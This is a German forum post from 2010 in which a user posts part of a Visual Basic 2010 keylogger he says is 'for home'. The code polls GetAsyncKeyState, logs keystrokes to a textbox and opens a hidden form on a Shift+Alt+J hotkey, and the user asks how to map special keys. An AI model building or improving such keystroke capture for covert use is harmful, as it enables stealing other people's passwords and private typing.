Off Topic 
Visual Basic 2010 - Skriptprobeme
1 
Offline
ich arbeite gerade an einem Keylogger für Zuhause. Bis zum folgenden habe ich es schon geschafft (Teil des Codes)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick Dim key As String = "" Dim result As Integer Dim i As Integer For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If i = 13 Then key = vbNewLine Exit For End If Next i If key <> Nothing Then If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then tbLog.Text &= key Else tbLog.Text &= key.ToLower End If End If If My.Computer.Keyboard.ShiftKeyDown AndAlso key = "J" AndAlso My.Computer.Keyboard.AltKeyDown Then Form2.Show() End If End Sub
Und wie ich auch sehe gibt es auch Probleme, wenn ich <SHIFT> + 1 drücke. Da kommt ein verkehrtes Kreuz und eine 1 heraus (lolroflmao).
Daran erkenne ich, dass die Zahlencodes für die Tasten nicht vollständig definiert wurden. Z.B. <ALT> hat: 18 und 164. Deswegen schrieb ich:
1
If i = 18 and i = 164 Then key = "<ALT>"
Dummerweise kommen zwei komische Zeichen, aber nicht <ALT>.
Was muss ich da tun, um dies zu beheben?
LG,
Jaster
edited 1×, last 15.08.10 10:14:24 pm
